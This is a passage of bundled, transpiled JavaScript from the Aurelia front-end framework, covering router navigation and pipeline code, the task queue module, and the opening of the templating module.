if (queryIndex !== -1) {
fragment = url.substr(0, queryIndex);
queryString = url.substr(queryIndex + 1);
}
var results = this._recognizer.recognize(url);
if (!results || !results.length) {
results = this._childRecognizer.recognize(url);
}
var instructionInit = {
fragment: fragment,
queryString: queryString,
config: null,
parentInstruction: parentInstruction,
previousInstruction: this.currentInstruction,
router: this,
options: {
compareQueryParams: this.options.compareQueryParams
}
};
if (results && results.length) {
var first = results[0];
var _instruction = new NavigationInstruction(Object.assign({}, instructionInit, {
params: first.params,
queryParams: first.queryParams || results.queryParams,
config: first.config || first.handler
}));
if (typeof first.handler === 'function') {
return evaluateNavigationStrategy(_instruction, first.handler, first);
} else if (first.handler && typeof first.handler.navigationStrategy === 'function') {
return evaluateNavigationStrategy(_instruction, first.handler.navigationStrategy, first.handler);
}
return Promise.resolve(_instruction);
} else if (this.catchAllHandler) {
var _instruction2 = new NavigationInstruction(Object.assign({}, instructionInit, {
params: { path: fragment },
queryParams: results && results.queryParams,
config: null }));
return evaluateNavigationStrategy(_instruction2, this.catchAllHandler);
}
return Promise.reject(new Error('Route not found: ' + url));
};
Router.prototype._createRouteConfig = function _createRouteConfig(config, instruction) {
var _this7 = this;
return Promise.resolve(config).then(function (c) {
if (typeof c === 'string') {
return { moduleId: c };
} else if (typeof c === 'function') {
return c(instruction);
}
return c;
}).then(function (c) {
return typeof c === 'string' ? { moduleId: c } : c;
}).then(function (c) {
c.route = instruction.params.path;
validateRouteConfig(c, _this7.routes);
if (!c.navModel) {
c.navModel = _this7.createNavModel(c);
}
return c;
});
};
_createClass(Router, [{
key: 'isRoot',
get: function get() {
return !this.parent;
}
}]);
return Router;
}();
function validateRouteConfig(config, routes) {
if ((typeof config === 'undefined' ? 'undefined' : _typeof(config)) !== 'object') {
throw new Error('Invalid Route Config');
}
if (typeof config.route !== 'string') {
var _name2 = config.name || '(no name)';
throw new Error('Invalid Route Config for "' + _name2 + '": You must specify a "route:" pattern.');
}
if (!('redirect' in config || config.moduleId || config.navigationStrategy || config.viewPorts)) {
throw new Error('Invalid Route Config for "' + config.route + '": You must specify a "moduleId:", "redirect:", "navigationStrategy:", or "viewPorts:".');
}
}
function evaluateNavigationStrategy(instruction, evaluator, context) {
return Promise.resolve(evaluator.call(context, instruction)).then(function () {
if (!('viewPorts' in instruction.config)) {
instruction.config.viewPorts = {
'default': {
moduleId: instruction.config.moduleId
}
};
}
return instruction;
});
}
var CanDeactivatePreviousStep = exports.CanDeactivatePreviousStep = function () {
function CanDeactivatePreviousStep() {
}
CanDeactivatePreviousStep.prototype.run = function run(navigationInstruction, next) {
return processDeactivatable(navigationInstruction.plan, 'canDeactivate', next);
};
return CanDeactivatePreviousStep;
}();
var CanActivateNextStep = exports.CanActivateNextStep = function () {
function CanActivateNextStep() {
}
CanActivateNextStep.prototype.run = function run(navigationInstruction, next) {
return processActivatable(navigationInstruction, 'canActivate', next);
};
return CanActivateNextStep;
}();
var DeactivatePreviousStep = exports.DeactivatePreviousStep = function () {
function DeactivatePreviousStep() {
}
DeactivatePreviousStep.prototype.run = function run(navigationInstruction, next) {
return processDeactivatable(navigationInstruction.plan, 'deactivate', next, true);
};
return DeactivatePreviousStep;
}();
var ActivateNextStep = exports.ActivateNextStep = function () {
function ActivateNextStep() {
}
ActivateNextStep.prototype.run = function run(navigationInstruction, next) {
return processActivatable(navigationInstruction, 'activate', next, true);
};
return ActivateNextStep;
}();
function processDeactivatable(plan, callbackName, next, ignoreResult) {
var infos = findDeactivatable(plan, callbackName);
var i = infos.length;
function inspect(val) {
if (ignoreResult || shouldContinue(val)) {
return iterate();
}
return next.cancel(val);
}
function iterate() {
if (i--) {
try {
var viewModel = infos[i];
var _result = viewModel[callbackName]();
return processPotential(_result, inspect, next.cancel);
} catch (error) {
return next.cancel(error);
}
}
return next();
}
return iterate();
}
function findDeactivatable(plan, callbackName) {
var list = arguments.length <= 2 || arguments[2] === undefined ? [] : arguments[2];
for (var viewPortName in plan) {
var _viewPortPlan = plan[viewPortName];
var prevComponent = _viewPortPlan.prevComponent;
if ((_viewPortPlan.strategy === activationStrategy.invokeLifecycle || _viewPortPlan.strategy === activationStrategy.replace) && prevComponent) {
var viewModel = prevComponent.viewModel;
if (callbackName in viewModel) {
list.push(viewModel);
}
}
if (_viewPortPlan.childNavigationInstruction) {
findDeactivatable(_viewPortPlan.childNavigationInstruction.plan, callbackName, list);
} else if (prevComponent) {
addPreviousDeactivatable(prevComponent, callbackName, list);
}
}
return list;
}
function addPreviousDeactivatable(component, callbackName, list) {
var childRouter = component.childRouter;
if (childRouter && childRouter.currentInstruction) {
var viewPortInstructions = childRouter.currentInstruction.viewPortInstructions;
for (var viewPortName in viewPortInstructions) {
var _viewPortInstruction2 = viewPortInstructions[viewPortName];
var prevComponent = _viewPortInstruction2.component;
var prevViewModel = prevComponent.viewModel;
if (callbackName in prevViewModel) {
list.push(prevViewModel);
}
addPreviousDeactivatable(prevComponent, callbackName, list);
}
}
}
function processActivatable(navigationInstruction, callbackName, next, ignoreResult) {
var infos = findActivatable(navigationInstruction, callbackName);
var length = infos.length;
var i = -1;
function inspect(val, router) {
if (ignoreResult || shouldContinue(val, router)) {
return iterate();
}
return next.cancel(val);
}
function iterate() {
i++;
if (i < length) {
try {
var _ret3 = function () {
var _current$viewModel;
var current = infos[i];
var result = (_current$viewModel = current.viewModel)[callbackName].apply(_current$viewModel, current.lifecycleArgs);
return {
v: processPotential(result, function (val) {
return inspect(val, current.router);
}, next.cancel)
};
}();
if ((typeof _ret3 === 'undefined' ? 'undefined' : _typeof(_ret3)) === "object") return _ret3.v;
} catch (error) {
return next.cancel(error);
}
}
return next();
}
return iterate();
}
function findActivatable(navigationInstruction, callbackName) {
var list = arguments.length <= 2 || arguments[2] === undefined ? [] : arguments[2];
var router = arguments[3];
var plan = navigationInstruction.plan;
Object.keys(plan).filter(function (viewPortName) {
var viewPortPlan = plan[viewPortName];
var viewPortInstruction = navigationInstruction.viewPortInstructions[viewPortName];
var viewModel = viewPortInstruction.component.viewModel;
if ((viewPortPlan.strategy === activationStrategy.invokeLifecycle || viewPortPlan.strategy === activationStrategy.replace) && callbackName in viewModel) {
list.push({
viewModel: viewModel,
lifecycleArgs: viewPortInstruction.lifecycleArgs,
router: router
});
}
if (viewPortPlan.childNavigationInstruction) {
findActivatable(viewPortPlan.childNavigationInstruction, callbackName, list, viewPortInstruction.component.childRouter || router);
}
});
return list;
}
function shouldContinue(output, router) {
if (output instanceof Error) {
return false;
}
if (isNavigationCommand(output)) {
if (typeof output.setRouter === 'function') {
output.setRouter(router);
}
return !!output.shouldContinueProcessing;
}
if (output === undefined) {
return true;
}
return output;
}
var SafeSubscription = function () {
function SafeSubscription(subscriptionFunc) {
this._subscribed = true;
this._subscription = subscriptionFunc(this);
if (!this._subscribed) this.unsubscribe();
}
SafeSubscription.prototype.unsubscribe = function unsubscribe() {
if (this._subscribed && this._subscription) this._subscription.unsubscribe();
this._subscribed = false;
};
_createClass(SafeSubscription, [{
key: 'subscribed',
get: function get() {
return this._subscribed;
}
}]);
return SafeSubscription;
}();
function processPotential(obj, resolve, reject) {
if (obj && typeof obj.then === 'function') {
return Promise.resolve(obj).then(resolve).catch(reject);
}
if (obj && typeof obj.subscribe === 'function') {
var _ret4 = function () {
var obs = obj;
return {
v: new SafeSubscription(function (sub) {
return obs.subscribe({
next: function next() {
if (sub.subscribed) {
sub.unsubscribe();
resolve(obj);
}
},
error: function error(_error) {
if (sub.subscribed) {
sub.unsubscribe();
reject(_error);
}
},
complete: function complete() {
if (sub.subscribed) {
sub.unsubscribe();
resolve(obj);
}
}
});
})
};
}();
if ((typeof _ret4 === 'undefined' ? 'undefined' : _typeof(_ret4)) === "object") return _ret4.v;
}
try {
return resolve(obj);
} catch (error) {
return reject(error);
}
}
var RouteLoader = exports.RouteLoader = function () {
function RouteLoader() {
}
RouteLoader.prototype.loadRoute = function loadRoute(router, config, navigationInstruction) {
throw Error('Route loaders must implement "loadRoute(router, config, navigationInstruction)".');
};
return RouteLoader;
}();
var LoadRouteStep = exports.LoadRouteStep = function () {
LoadRouteStep.inject = function inject() {
return [RouteLoader];
};
function LoadRouteStep(routeLoader) {
this.routeLoader = routeLoader;
}
LoadRouteStep.prototype.run = function run(navigationInstruction, next) {
return loadNewRoute(this.routeLoader, navigationInstruction).then(next).catch(next.cancel);
};
return LoadRouteStep;
}();
function loadNewRoute(routeLoader, navigationInstruction) {
var toLoad = determineWhatToLoad(navigationInstruction);
var loadPromises = toLoad.map(function (current) {
return loadRoute(routeLoader, current.navigationInstruction, current.viewPortPlan);
});
return Promise.all(loadPromises);
}
function determineWhatToLoad(navigationInstruction) {
var toLoad = arguments.length <= 1 || arguments[1] === undefined ? [] : arguments[1];
var plan = navigationInstruction.plan;
for (var viewPortName in plan) {
var _viewPortPlan2 = plan[viewPortName];
if (_viewPortPlan2.strategy === activationStrategy.replace) {
toLoad.push({ viewPortPlan: _viewPortPlan2, navigationInstruction: navigationInstruction });
if (_viewPortPlan2.childNavigationInstruction) {
determineWhatToLoad(_viewPortPlan2.childNavigationInstruction, toLoad);
}
} else {
var _viewPortInstruction3 = navigationInstruction.addViewPortInstruction(viewPortName, _viewPortPlan2.strategy, _viewPortPlan2.prevModuleId, _viewPortPlan2.prevComponent);
if (_viewPortPlan2.childNavigationInstruction) {
_viewPortInstruction3.childNavigationInstruction = _viewPortPlan2.childNavigationInstruction;
determineWhatToLoad(_viewPortPlan2.childNavigationInstruction, toLoad);
}
}
}
return toLoad;
}
function loadRoute(routeLoader, navigationInstruction, viewPortPlan) {
var moduleId = viewPortPlan.config.moduleId;
return loadComponent(routeLoader, navigationInstruction, viewPortPlan.config).then(function (component) {
var viewPortInstruction = navigationInstruction.addViewPortInstruction(viewPortPlan.name, viewPortPlan.strategy, moduleId, component);
var childRouter = component.childRouter;
if (childRouter) {
var path = navigationInstruction.getWildcardPath();
return childRouter._createNavigationInstruction(path, navigationInstruction).then(function (childInstruction) {
viewPortPlan.childNavigationInstruction = childInstruction;
return _buildNavigationPlan(childInstruction).then(function (childPlan) {
childInstruction.plan = childPlan;
viewPortInstruction.childNavigationInstruction = childInstruction;
return loadNewRoute(routeLoader, childInstruction);
});
});
}
return undefined;
});
}
function loadComponent(routeLoader, navigationInstruction, config) {
var router = navigationInstruction.router;
var lifecycleArgs = navigationInstruction.lifecycleArgs;
return routeLoader.loadRoute(router, config, navigationInstruction).then(function (component) {
var viewModel = component.viewModel;
var childContainer = component.childContainer;
component.router = router;
component.config = config;
if ('configureRouter' in viewModel) {
var _ret5 = function () {
var childRouter = childContainer.getChildRouter();
component.childRouter = childRouter;
return {
v: childRouter.configure(function (c) {
return viewModel.configureRouter.apply(viewModel, [c, childRouter].concat(lifecycleArgs));
}).then(function () {
return component;
})
};
}();
if ((typeof _ret5 === 'undefined' ? 'undefined' : _typeof(_ret5)) === "object") return _ret5.v;
}
return component;
});
}
var PipelineSlot = function () {
function PipelineSlot(container, name, alias) {
this.steps = [];
this.container = container;
this.slotName = name;
this.slotAlias = alias;
}
PipelineSlot.prototype.getSteps = function getSteps() {
var _this8 = this;
return this.steps.map(function (x) {
return _this8.container.get(x);
});
};
return PipelineSlot;
}();
var PipelineProvider = exports.PipelineProvider = function () {
PipelineProvider.inject = function inject() {
return [_aureliaDependencyInjection.Container];
};
function PipelineProvider(container) {
this.container = container;
this.steps = [BuildNavigationPlanStep, CanDeactivatePreviousStep, LoadRouteStep, this._createPipelineSlot('authorize'), CanActivateNextStep, this._createPipelineSlot('preActivate', 'modelbind'), DeactivatePreviousStep, ActivateNextStep, this._createPipelineSlot('preRender', 'precommit'), CommitChangesStep, this._createPipelineSlot('postRender', 'postcomplete')];
}
PipelineProvider.prototype.createPipeline = function createPipeline() {
var _this9 = this;
var pipeline = new Pipeline();
this.steps.forEach(function (step) {
return pipeline.addStep(_this9.container.get(step));
});
return pipeline;
};
PipelineProvider.prototype._findStep = function _findStep(name) {
return this.steps.find(function (x) {
return x.slotName === name || x.slotAlias === name;
});
};
PipelineProvider.prototype.addStep = function addStep(name, step) {
var found = this._findStep(name);
if (found) {
if (!found.steps.includes(step)) {
found.steps.push(step);
}
} else {
throw new Error('Invalid pipeline slot name: ' + name + '.');
}
};
PipelineProvider.prototype.removeStep = function removeStep(name, step) {
var slot = this._findStep(name);
if (slot) {
slot.steps.splice(slot.steps.indexOf(step), 1);
}
};
PipelineProvider.prototype._clearSteps = function _clearSteps() {
var name = arguments.length <= 0 || arguments[0] === undefined ? '' : arguments[0];
var slot = this._findStep(name);
if (slot) {
slot.steps = [];
}
};
PipelineProvider.prototype.reset = function reset() {
this._clearSteps('authorize');
this._clearSteps('preActivate');
this._clearSteps('preRender');
this._clearSteps('postRender');
};
PipelineProvider.prototype._createPipelineSlot = function _createPipelineSlot(name, alias) {
return new PipelineSlot(this.container, name, alias);
};
return PipelineProvider;
}();
var logger = LogManager.getLogger('app-router');
var AppRouter = exports.AppRouter = function (_Router) {
_inherits(AppRouter, _Router);
AppRouter.inject = function inject() {
return [_aureliaDependencyInjection.Container, _aureliaHistory.History, PipelineProvider, _aureliaEventAggregator.EventAggregator];
};
function AppRouter(container, history, pipelineProvider, events) {
var _this10 = _possibleConstructorReturn(this, _Router.call(this, container, history));
_this10.pipelineProvider = pipelineProvider;
_this10.events = events;
return _this10;
}
AppRouter.prototype.reset = function reset() {
_Router.prototype.reset.call(this);
this.maxInstructionCount = 10;
if (!this._queue) {
this._queue = [];
} else {
this._queue.length = 0;
}
};
AppRouter.prototype.loadUrl = function loadUrl(url) {
var _this11 = this;
return this._createNavigationInstruction(url).then(function (instruction) {
return _this11._queueInstruction(instruction);
}).catch(function (error) {
logger.error(error);
restorePreviousLocation(_this11);
});
};
AppRouter.prototype.registerViewPort = function registerViewPort(viewPort, name) {
var _this12 = this;
_Router.prototype.registerViewPort.call(this, viewPort, name);
if (!this.isActive) {
var _ret6 = function () {
var viewModel = _this12._findViewModel(viewPort);
if ('configureRouter' in viewModel) {
if (!_this12.isConfigured) {
var _ret7 = function () {
var resolveConfiguredPromise = _this12._resolveConfiguredPromise;
_this12._resolveConfiguredPromise = function () {};
return {
v: {
v: _this12.configure(function (config) {
return viewModel.configureRouter(config, _this12);
}).then(function () {
_this12.activate();
resolveConfiguredPromise();
})
}
};
}();
if ((typeof _ret7 === 'undefined' ? 'undefined' : _typeof(_ret7)) === "object") return _ret7.v;
}
} else {
_this12.activate();
}
}();
if ((typeof _ret6 === 'undefined' ? 'undefined' : _typeof(_ret6)) === "object") return _ret6.v;
} else {
this._dequeueInstruction();
}
return Promise.resolve();
};
AppRouter.prototype.activate = function activate(options) {
if (this.isActive) {
return;
}
this.isActive = true;
this.options = Object.assign({ routeHandler: this.loadUrl.bind(this) }, this.options, options);
this.history.activate(this.options);
this._dequeueInstruction();
};
AppRouter.prototype.deactivate = function deactivate() {
this.isActive = false;
this.history.deactivate();
};
AppRouter.prototype._queueInstruction = function _queueInstruction(instruction) {
var _this13 = this;
return new Promise(function (resolve) {
instruction.resolve = resolve;
_this13._queue.unshift(instruction);
_this13._dequeueInstruction();
});
};
AppRouter.prototype._dequeueInstruction = function _dequeueInstruction() {
var _this14 = this;
var instructionCount = arguments.length <= 0 || arguments[0] === undefined ? 0 : arguments[0];
return Promise.resolve().then(function () {
if (_this14.isNavigating && !instructionCount) {
return undefined;
}
var instruction = _this14._queue.shift();
_this14._queue.length = 0;
if (!instruction) {
return undefined;
}
_this14.isNavigating = true;
instruction.previousInstruction = _this14.currentInstruction;
if (!instructionCount) {
_this14.events.publish('router:navigation:processing', { instruction: instruction });
} else if (instructionCount === _this14.maxInstructionCount - 1) {
logger.error(instructionCount + 1 + ' navigation instructions have been attempted without success. Restoring last known good location.');
restorePreviousLocation(_this14);
return _this14._dequeueInstruction(instructionCount + 1);
} else if (instructionCount > _this14.maxInstructionCount) {
throw new Error('Maximum navigation attempts exceeded. Giving up.');
}
var pipeline = _this14.pipelineProvider.createPipeline();
return pipeline.run(instruction).then(function (result) {
return processResult(instruction, result, instructionCount, _this14);
}).catch(function (error) {
return { output: error instanceof Error ? error : new Error(error) };
}).then(function (result) {
return resolveInstruction(instruction, result, !!instructionCount, _this14);
});
});
};
AppRouter.prototype._findViewModel = function _findViewModel(viewPort) {
if (this.container.viewModel) {
return this.container.viewModel;
}
if (viewPort.container) {
var container = viewPort.container;
while (container) {
if (container.viewModel) {
this.container.viewModel = container.viewModel;
return container.viewModel;
}
container = container.parent;
}
}
return undefined;
};
return AppRouter;
}(Router);
function processResult(instruction, result, instructionCount, router) {
if (!(result && 'completed' in result && 'output' in result)) {
result = result || {};
result.output = new Error('Expected router pipeline to return a navigation result, but got [' + JSON.stringify(result) + '] instead.');
}
var finalResult = null;
if (isNavigationCommand(result.output)) {
result.output.navigate(router);
} else {
finalResult = result;
if (!result.completed) {
if (result.output instanceof Error) {
logger.error(result.output);
}
restorePreviousLocation(router);
}
}
return router._dequeueInstruction(instructionCount + 1).then(function (innerResult) {
return finalResult || innerResult || result;
});
}
function resolveInstruction(instruction, result, isInnerInstruction, router) {
instruction.resolve(result);
var eventArgs = { instruction: instruction, result: result };
if (!isInnerInstruction) {
router.isNavigating = false;
router.isExplicitNavigation = false;
router.isExplicitNavigationBack = false;
var eventName = void 0;
if (result.output instanceof Error) {
eventName = 'error';
} else if (!result.completed) {
eventName = 'canceled';
} else {
var _queryString = instruction.queryString ? '?' + instruction.queryString : '';
router.history.previousLocation = instruction.fragment + _queryString;
eventName = 'success';
}
router.events.publish('router:navigation:' + eventName, eventArgs);
router.events.publish('router:navigation:complete', eventArgs);
} else {
router.events.publish('router:navigation:child:complete', eventArgs);
}
return result;
}
function restorePreviousLocation(router) {
var previousLocation = router.history.previousLocation;
if (previousLocation) {
router.navigate(router.history.previousLocation, { trigger: false, replace: true });
} else if (router.fallbackRoute) {
router.navigate(router.fallbackRoute, { trigger: true, replace: true });
} else {
logger.error('Router navigation failed, and no previous location or fallbackRoute could be restored.');
}
}
});
define('aurelia-task-queue',['exports', 'aurelia-pal'], function (exports, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.TaskQueue = undefined;
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj;
};
var hasSetImmediate = typeof setImmediate === 'function';
var stackSeparator = '\nEnqueued in TaskQueue by:\n';
var microStackSeparator = '\nEnqueued in MicroTaskQueue by:\n';
function makeRequestFlushFromMutationObserver(flush) {
var toggle = 1;
var observer = _aureliaPal.DOM.createMutationObserver(flush);
var node = _aureliaPal.DOM.createTextNode('');
observer.observe(node, { characterData: true });
return function requestFlush() {
toggle = -toggle;
node.data = toggle;
};
}
function makeRequestFlushFromTimer(flush) {
return function requestFlush() {
var timeoutHandle = setTimeout(handleFlushTimer, 0);
var intervalHandle = setInterval(handleFlushTimer, 50);
function handleFlushTimer() {
clearTimeout(timeoutHandle);
clearInterval(intervalHandle);
flush();
}
};
}
function onError(error, task, longStacks) {
if (longStacks && task.stack && (typeof error === 'undefined' ? 'undefined' : _typeof(error)) === 'object' && error !== null) {
error.stack = filterFlushStack(error.stack) + task.stack;
}
if ('onError' in task) {
task.onError(error);
} else if (hasSetImmediate) {
setImmediate(function () {
throw error;
});
} else {
setTimeout(function () {
throw error;
}, 0);
}
}
var TaskQueue = exports.TaskQueue = function () {
function TaskQueue() {
var _this = this;
this.flushing = false;
this.longStacks = false;
this.microTaskQueue = [];
this.microTaskQueueCapacity = 1024;
this.taskQueue = [];
if (_aureliaPal.FEATURE.mutationObserver) {
this.requestFlushMicroTaskQueue = makeRequestFlushFromMutationObserver(function () {
return _this.flushMicroTaskQueue();
});
} else {
this.requestFlushMicroTaskQueue = makeRequestFlushFromTimer(function () {
return _this.flushMicroTaskQueue();
});
}
this.requestFlushTaskQueue = makeRequestFlushFromTimer(function () {
return _this.flushTaskQueue();
});
}
TaskQueue.prototype.queueMicroTask = function queueMicroTask(task) {
if (this.microTaskQueue.length < 1) {
this.requestFlushMicroTaskQueue();
}
if (this.longStacks) {
task.stack = this.prepareQueueStack(microStackSeparator);
}
this.microTaskQueue.push(task);
};
TaskQueue.prototype.queueTask = function queueTask(task) {
if (this.taskQueue.length < 1) {
this.requestFlushTaskQueue();
}
if (this.longStacks) {
task.stack = this.prepareQueueStack(stackSeparator);
}
this.taskQueue.push(task);
};
TaskQueue.prototype.flushTaskQueue = function flushTaskQueue() {
var queue = this.taskQueue;
var index = 0;
var task = void 0;
this.taskQueue = [];
try {
this.flushing = true;
while (index < queue.length) {
task = queue[index];
if (this.longStacks) {
this.stack = typeof task.stack === 'string' ? task.stack : undefined;
}
task.call();
index++;
}
} catch (error) {
onError(error, task, this.longStacks);
} finally {
this.flushing = false;
}
};
TaskQueue.prototype.flushMicroTaskQueue = function flushMicroTaskQueue() {
var queue = this.microTaskQueue;
var capacity = this.microTaskQueueCapacity;
var index = 0;
var task = void 0;
try {
this.flushing = true;
while (index < queue.length) {
task = queue[index];
if (this.longStacks) {
this.stack = typeof task.stack === 'string' ? task.stack : undefined;
}
task.call();
index++;
if (index > capacity) {
for (var scan = 0, newLength = queue.length - index; scan < newLength; scan++) {
queue[scan] = queue[scan + index];
}
queue.length -= index;
index = 0;
}
}
} catch (error) {
onError(error, task, this.longStacks);
} finally {
this.flushing = false;
}
queue.length = 0;
};
TaskQueue.prototype.prepareQueueStack = function prepareQueueStack(separator) {
var stack = separator + filterQueueStack(captureStack());
if (typeof this.stack === 'string') {
stack = filterFlushStack(stack) + this.stack;
}
return stack;
};
return TaskQueue;
}();
function captureStack() {
var error = new Error();
if (error.stack) {
return error.stack;
}
try {
throw error;
} catch (e) {
return e.stack;
}
}
function filterQueueStack(stack) {
return stack.replace(/^[\s\S]*?\bqueue(Micro)?Task\b[^\n]*\n/, '');
}
function filterFlushStack(stack) {
var index = stack.lastIndexOf('flushMicroTaskQueue');
if (index < 0) {
index = stack.lastIndexOf('flushTaskQueue');
if (index < 0) {
return stack;
}
}
index = stack.lastIndexOf('\n', index);
return index < 0 ? stack : stack.substr(0, index);
}
});
define('aurelia-templating',['exports', 'aurelia-logging', 'aurelia-metadata', 'aurelia-pal', 'aurelia-path', 'aurelia-loader', 'aurelia-dependency-injection', 'aurelia-binding', 'aurelia-task-queue'], function (exports, _aureliaLogging, _aureliaMetadata, _aureliaPal, _aureliaPath, _aureliaLoader, _aureliaDependencyInjection, _aureliaBinding, _aureliaTaskQueue) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.TemplatingEngine = exports.ElementConfigResource = exports.CompositionEngine = exports.SwapStrategies = exports.HtmlBehaviorResource = exports.BindableProperty = exports.BehaviorPropertyObserver = exports.Controller = exports.ViewEngine = exports.ModuleAnalyzer = exports.ResourceDescription = exports.ResourceModule = exports.ViewCompiler = exports.ViewFactory = exports.BoundViewFactory = exports.ViewSlot = exports.View = exports.ViewResources = exports.ShadowDOM = exports.ShadowSlot = exports.PassThroughSlot = exports.SlotCustomAttribute = exports.BindingLanguage = exports.ViewLocator = exports.InlineViewStrategy = exports.TemplateRegistryViewStrategy = exports.NoViewStrategy = exports.ConventionalViewStrategy = exports.RelativeViewStrategy = exports.viewStrategy = exports.TargetInstruction = exports.BehaviorInstruction = exports.ViewCompileInstruction = exports.ResourceLoadContext = exports.ElementEvents = exports.ViewEngineHooksResource = exports.CompositionTransaction = exports.CompositionTransactionOwnershipToken = exports.CompositionTransactionNotifier = exports.Animator = exports.animationEvent = undefined;
exports._hyphenate = _hyphenate;
exports._isAllWhitespace = _isAllWhitespace;
exports.viewEngineHooks = viewEngineHooks;
exports.children = children;
exports.child = child;
exports.resource = resource;
exports.behavior = behavior;
exports.customElement = customElement;
exports.customAttribute = customAttribute;
exports.templateController = templateController;
exports.bindable = bindable;
exports.dynamicOptions = dynamicOptions;
exports.useShadowDOM = useShadowDOM;
exports.processAttributes = processAttributes;
exports.processContent = processContent;
exports.containerless = containerless;
exports.useViewStrategy = useViewStrategy;
exports.useView = useView;
exports.inlineView = inlineView;
exports.noView = noView;
exports.elementConfig = elementConfig;
exports.viewResources = viewResources;
var LogManager = _interopRequireWildcard(_aureliaLogging);
function _interopRequireWildcard(obj) {
if (obj && obj.__esModule) {
return obj;
} else {
var newObj = {};
if (obj != null) {
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];
}
}
newObj.default = obj;
return newObj;
}
}
var _createClass = function () {
function defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;
Object.defineProperty(target, descriptor.key, descriptor);
}
}
return function (Constructor, protoProps, staticProps) {
if (protoProps) defineProperties(Constructor.prototype, protoProps);
if (staticProps) defineProperties(Constructor, staticProps);
return Constructor;
};
}();
var _class, _temp, _dec, _class2, _dec2, _class3, _dec3, _class4, _dec4, _class5, _dec5, _class6, _class7, _temp2, _dec6, _class8, _class9, _temp3, _class11, _dec7, _class13, _dec8, _class14, _class15, _temp4, _dec9, _class16, _dec10, _class17, _dec11, _class18;
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
};
var animationEvent = exports.animationEvent = {
enterBegin: 'animation:enter:begin',
enterActive: 'animation:enter:active',
enterDone: 'animation:enter:done',
enterTimeout: 'animation:enter:timeout',
leaveBegin: 'animation:leave:begin',
leaveActive: 'animation:leave:active',
leaveDone: 'animation:leave:done',
leaveTimeout: 'animation:leave:timeout',
staggerNext: 'animation:stagger:next',
removeClassBegin: 'animation:remove-class:begin',
removeClassActive: 'animation:remove-class:active',
removeClassDone: 'animation:remove-class:done',
removeClassTimeout: 'animation:remove-class:timeout',
addClassBegin: 'animation:add-class:begin',
addClassActive: 'animation:add-class:active',
addClassDone: 'animation:add-class:done',
addClassTimeout: 'animation:add-class:timeout',
animateBegin: 'animation:animate:begin',
animateActive: 'animation:animate:active',
animateDone: 'animation:animate:done',
animateTimeout: 'animation:animate:timeout',
sequenceBegin: 'animation:sequence:begin',
sequenceDone: 'animation:sequence:done'
};
var Animator = exports.Animator = function () {
function Animator() {
}
Animator.prototype.enter = function enter(element) {
return Promise.resolve(false);
};
Animator.prototype.leave = function leave(element) {
return Promise.resolve(false);
};
Animator.prototype.removeClass = function removeClass(element, className) {
element.classList.remove(className);
return Promise.resolve(false);
};
Animator.prototype.addClass = function addClass(element, className) {
element.classList.add(className);
return Promise.resolve(false);
};
Animator.prototype.animate = function animate(element, className) {
return Promise.resolve(false);
};
Animator.prototype.runSequence = function runSequence(animations) {};
Animator.prototype.registerEffect = function registerEffect(effectName, properties) {};
Animator.prototype.unregisterEffect = function unregisterEffect(effectName) {};
return Animator;
}();
var CompositionTransactionNotifier = exports.CompositionTransactionNotifier = function () {
function CompositionTransactionNotifier(owner) {
this.owner = owner;
this.owner._compositionCount++;
}
CompositionTransactionNotifier.prototype.done = function done() {
this.owner._compositionCount--;
this.owner._tryCompleteTransaction();
};
return CompositionTransactionNotifier;
}();
var CompositionTransactionOwnershipToken = exports.CompositionTransactionOwnershipToken = function () {
function CompositionTransactionOwnershipToken(owner) {
this.owner = owner;
this.owner._ownershipToken = this;
this.thenable = this._createThenable();
}
CompositionTransactionOwnershipToken.prototype.waitForCompositionComplete = function waitForCompositionComplete() {
this.owner._tryCompleteTransaction();
return this.thenable;
};
CompositionTransactionOwnershipToken.prototype.resolve = function resolve() {
this._resolveCallback();
};
CompositionTransactionOwnershipToken.prototype._createThenable = function _createThenable() {
var _this = this;
return new Promise(function (resolve, reject) {
_this._resolveCallback = resolve;
});
};
return CompositionTransactionOwnershipToken;
}();
var CompositionTransaction = exports.CompositionTransaction = function () {
function CompositionTransaction() {
this._ownershipToken = null;
this._compositionCount = 0;
}
CompositionTransaction.prototype.tryCapture = function tryCapture() {
return this._ownershipToken === null ? new CompositionTransactionOwnershipToken(this) : null;
};
CompositionTransaction.prototype.enlist = function enlist() {
return new CompositionTransactionNotifier(this);
};
CompositionTransaction.prototype._tryCompleteTransaction = function _tryCompleteTransaction() {
if (this._compositionCount <= 0) {
this._compositionCount = 0;
if (this._ownershipToken !== null) {
var token = this._ownershipToken;
this._ownershipToken = null;
token.resolve();
}
}
};
return CompositionTransaction;
}();
var capitalMatcher = /([A-Z])/g;
function addHyphenAndLower(char) {
return '-' + char.toLowerCase();
}
function _hyphenate(name) {
return (name.charAt(0).toLowerCase() + name.slice(1)).replace(capitalMatcher, addHyphenAndLower);
}
function _isAllWhitespace(node) {
return !(node.auInterpolationTarget || /[^\t\n\r ]/.test(node.textContent));
}
var ViewEngineHooksResource = exports.ViewEngineHooksResource = function () {
function ViewEngineHooksResource() {
}
ViewEngineHooksResource.prototype.initialize = function initialize(container, target) {
this.instance = container.get(target);
};
ViewEngineHooksResource.prototype.register = function register(registry, name) {
registry.registerViewEngineHooks(this.instance);
};
ViewEngineHooksResource.prototype.load = function load(container, target) {};
ViewEngineHooksResource.convention = function convention(name) {
if (name.endsWith('ViewEngineHooks')) {
return new ViewEngineHooksResource();
}
};
return ViewEngineHooksResource;
}();
function viewEngineHooks(target) {
var deco = function deco(t) {
_aureliaMetadata.metadata.define(_aureliaMetadata.metadata.resource, new ViewEngineHooksResource(), t);
};
return target ? deco(target) : deco;
}
var ElementEvents = exports.ElementEvents = function () {
function ElementEvents(element) {
this.element = element;
this.subscriptions = {};
}
